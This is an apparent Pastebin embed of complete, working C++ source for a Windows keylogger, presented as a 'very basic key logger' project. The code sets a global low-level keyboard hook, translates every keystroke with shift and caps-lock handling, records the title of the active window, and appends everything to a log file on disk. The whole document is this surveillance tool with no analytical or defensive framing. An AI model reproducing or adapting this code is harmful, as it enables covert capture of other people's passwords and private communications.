document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /************************************************************
  2. * A very basic Key logger in C++
  3. * Author: Manish
  4. * Home: http://technoslab.blogspot.com/search/label/projects
  5. ************************************************************/
  6.  
  7. // Include header files
  8. #include <windows.h>
  9. #include <fstream>
  10.  
  11. // Initialize a keyboard HHOOK
  12. HHOOK KeyboardHook;
  13.  
  14. // Function to write to a file
  15. void write(const char* c)
  16. {
  17.     const char* fileLocation = "F:\\\\log.txt"; // Define the location of log file
  18.     FILE *f = fopen(fileLocation,"a+"); // Open the log file in append mode
  19.     if(f!=NULL)
  20.     {
  21.         fputs(c,f); // Write to end of the file
  22.         fclose(f); // Close the file
  23.     }
  24. }
  25.  
  26. // The WIN API Message Loop
  27. void KeepAlive()
  28. {
  29.     MSG message;
  30.     while (GetMessage(&message,NULL,0,0))
  31.     {
  32.         TranslateMessage(&message);
  33.         DispatchMessage(&message);
  34.     }
  35. }
  36.  
  37. // Unhook and exit
  38. void Exit()
  39. {
  40.     UnhookWindowsHookEx(KeyboardHook);
  41.     exit(0);
  42. }
  43.  
  44. // Is shift key down ?
  45. bool shift = false;
  46. // Store window
  47. HWND oldWindow = NULL;
  48. // Window text
  49. char cWindow[MAX_PATH];
  50.  
  51. // Callback function to be hooked
  52. LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
  53. {
  54.     bool bControlKeyDown=0;
  55.     // Get current state of capsLock
  56.     bool caps = GetKeyState(VK_CAPITAL) < 0;
  57.     KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT *) lParam;
  58.     if(nCode == HC_ACTION){
  59.         // Determine the current state of shift key
  60.         if(p->vkCode == VK_LSHIFT || p->vkCode == VK_RSHIFT){
  61.             if(wParam == WM_KEYDOWN)
  62.             {
  63.                 shift = true;
  64.             }
  65.             else
  66.             {
  67.                 shift = false;
  68.             }
  69.         }
  70.         // Check if F12 + CTRL is pressed, if yes -> exit
  71.         bControlKeyDown = GetAsyncKeyState (VK_CONTROL) >> ((sizeof(SHORT) * 8) - 1);
  72.         if (p->vkCode == VK_F12 && bControlKeyDown) // If F12 and CTRL are pressed
  73.         {
  74.             Exit();
  75.         }
  76.         // Start logging keys
  77.         if(wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) // If key has been pressed
  78.         {
  79.             HWND newWindow = GetForegroundWindow();
  80.             if(oldWindow == NULL || newWindow != oldWindow){
  81.                 // Get Active window title and store it
  82.                 GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
  83.                 write("\\nActive Window: ");
  84.                 write(cWindow);
  85.                 write("\\n");
  86.                 oldWindow = newWindow;
  87.             }
  88.             // Virtual key codes reference: http://msdn.microsoft.com/en-us/library/dd375731%28v=VS.85%29.aspx
  89.             switch(p->vkCode) // Compare virtual keycode to hex values and log keys accordingly
  90.             {
  91.                 //Number keys
  92.                 case 0x30: write(shift?")":"0");break;
  93.                 case 0x31: write(shift?"!":"1");break;
  94.                 case 0x32: write(shift?"@":"2");break;
  95.                 case 0x33: write(shift?"#":"3");break;
  96.                 case 0x34: write(shift?"$":"4");break;
  97.                 case 0x35: write(shift?"%":"5");break;
  98.                 case 0x36: write(shift?"^":"6");break;
  99.                 case 0x37: write(shift?"&":"7");break;
  100.                 case 0x38: write(shift?"*":"8");break;
  101.                 case 0x39: write(shift?"(":"9");break;
  102.                 // Numpad keys
  103.                 case 0x60: write("0");break;
  104.                 case 0x61: write("1");break;
  105.                 case 0x62: write("2");break;
  106.                 case 0x63: write("3");break;
  107.                 case 0x64: write("4");break;
  108.                 case 0x65: write("5");break;
  109.                 case 0x66: write("6");break;
  110.                 case 0x67: write("7");break;
  111.                 case 0x68: write("8");break;
  112.                 case 0x69: write("9");break;
  113.                 // Character keys
  114.                 case 0x41: write(caps?(shift?"a":"A"):(shift?"A":"a"));break;
  115.                 case 0x42: write(caps?(shift?"b":"B"):(shift?"B":"b"));break;
  116.                 case 0x43: write(caps?(shift?"c":"C"):(shift?"C":"c"));break;
  117.                 case 0x44: write(caps?(shift?"d":"D"):(shift?"D":"d"));break;
  118.                 case 0x45: write(caps?(shift?"e":"E"):(shift?"E":"e"));break;
  119.                 case 0x46: write(caps?(shift?"f":"F"):(shift?"F":"f"));break;
  120.                 case 0x47: write(caps?(shift?"g":"G"):(shift?"G":"g"));break;
  121.                 case 0x48: write(caps?(shift?"h":"H"):(shift?"H":"h"));break;
  122.                 case 0x49: write(caps?(shift?"i":"I"):(shift?"I":"i"));break;
  123.                 case 0x4A: write(caps?(shift?"j":"J"):(shift?"J":"j"));break;
  124.                 case 0x4B: write(caps?(shift?"k":"K"):(shift?"K":"k"));break;
  125.                 case 0x4C: write(caps?(shift?"l":"L"):(shift?"L":"l"));break;
  126.                 case 0x4D: write(caps?(shift?"m":"M"):(shift?"M":"m"));break;
  127.                 case 0x4E: write(caps?(shift?"n":"N"):(shift?"N":"n"));break;
  128.                 case 0x4F: write(caps?(shift?"o":"O"):(shift?"O":"o"));break;
  129.                 case 0x50: write(caps?(shift?"p":"P"):(shift?"P":"p"));break;
  130.                 case 0x51: write(caps?(shift?"q":"Q"):(shift?"Q":"q"));break;
  131.                 case 0x52: write(caps?(shift?"r":"R"):(shift?"R":"r"));break;
  132.                 case 0x53: write(caps?(shift?"s":"S"):(shift?"S":"s"));break;
  133.                 case 0x54: write(caps?(shift?"t":"T"):(shift?"T":"t"));break;
  134.                 case 0x55: write(caps?(shift?"u":"U"):(shift?"U":"u"));break;
  135.                 case 0x56: write(caps?(shift?"v":"V"):(shift?"V":"v"));break;
  136.                 case 0x57: write(caps?(shift?"w":"W"):(shift?"W":"w"));break;
  137.                 case 0x58: write(caps?(shift?"x":"X"):(shift?"X":"x"));break;
  138.                 case 0x59: write(caps?(shift?"y":"Y"):(shift?"Y":"y"));break;
  139.                 case 0x5A: write(caps?(shift?"z":"Z"):(shift?"Z":"z"));break;
  140.                 // Special keys
  141.                 case VK_SPACE: write(" "); break;
  142.                 case VK_RETURN: write("\\n"); break;
  143.                 case VK_TAB: write("\\t"); break;
  144.                 case VK_ESCAPE: write("[ESC]"); break;
  145.                 case VK_LEFT: write("[LEFT]"); break;
  146.                 case VK_RIGHT: write("[RIGHT]"); break;
  147.                 case VK_UP: write("[UP]"); break;
  148.                 case VK_DOWN: write("[DOWN]"); break;
  149.                 case VK_END: write("[END]"); break;
  150.                 case VK_HOME: write("[HOME]"); break;
  151.                 case VK_DELETE: write("[DELETE]"); break;
  152.                 case VK_BACK: write("[BACKSPACE]"); break;
  153.                 case VK_INSERT: write("[INSERT]"); break;
  154.                 case VK_LCONTROL: write("[CTRL]"); break;
  155.                 case VK_RCONTROL: write("[CTRL]"); break;
  156.                 case VK_LMENU: write("[ALT]"); break;
  157.                 case VK_RMENU: write("[ALT]"); break;
  158.                 case VK_F1: write("[F1]");break;
  159.                 case VK_F2: write("[F2]");break;
  160.                 case VK_F3: write("[F3]");break;
  161.                 case VK_F4: write("[F4]");break;
  162.                 case VK_F5: write("[F5]");break;
  163.                 case VK_F6: write("[F6]");break;
  164.                 case VK_F7: write("[F7]");break;
  165.                 case VK_F8: write("[F8]");break;
  166.                 case VK_F9: write("[F9]");break;
  167.                 case VK_F10: write("[F10]");break;
  168.                 case VK_F11: write("[F11]");break;
  169.                 case VK_F12: write("[F12]");break;
  170.                 // Shift keys
  171.                 case VK_LSHIFT: break; // Do nothing
  172.                 case VK_RSHIFT: break; // Do nothing
  173.                 // Symbol keys
  174.                 case VK_OEM_1: write(shift?":":";");break;
  175.                 case VK_OEM_2: write(shift?"?":"/");break;
  176.                 case VK_OEM_3: write(shift?"~":"`");break;
  177.                 case VK_OEM_4: write(shift?"{":"[");break;
  178.                 case VK_OEM_5: write(shift?"|":"\\\\");break;
  179.                 case VK_OEM_6: write(shift?"}":"]");break;
  180.                 case VK_OEM_7: write(shift?"\\"":"\'");break;
  181.                 case VK_OEM_PLUS: write(shift?"+":"=");break;
  182.                 case VK_OEM_COMMA: write(shift?"<":",");break;
  183.                 case VK_OEM_MINUS: write(shift?+"_":"-");break;
  184.                 case VK_OEM_PERIOD: write(shift?">":".");break;
  185.                 default:
  186.                     DWORD dwMsg = p->scanCode << 16;
  187.                         dwMsg += p->flags << 24;
  188.                         char key[16];
  189.                         GetKeyNameText(dwMsg,key,15);
  190.                         write(key);
  191.                         break;
  192.             }
  193.         }
  194.     }
  195.     // Forward the event to other hooks
  196.     return CallNextHookEx(NULL,nCode,wParam,lParam);
  197. }
  198.  
  199. // WinAPI main method
  200. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
  201. {
  202.     // Write to file
  203.     write("\\n---------------------------------------------------------");
  204.     // Hook to all available threads
  205.     KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, NULL);
  206.     if(KeyboardHook!=NULL)
  207.     {
  208.         // Keep alive till F12 + CTRL key press is detected - can also register Hotkey
  209.         KeepAlive();
  210.     }
  211.     // Exit the program
  212.     return 0;
  213. }
');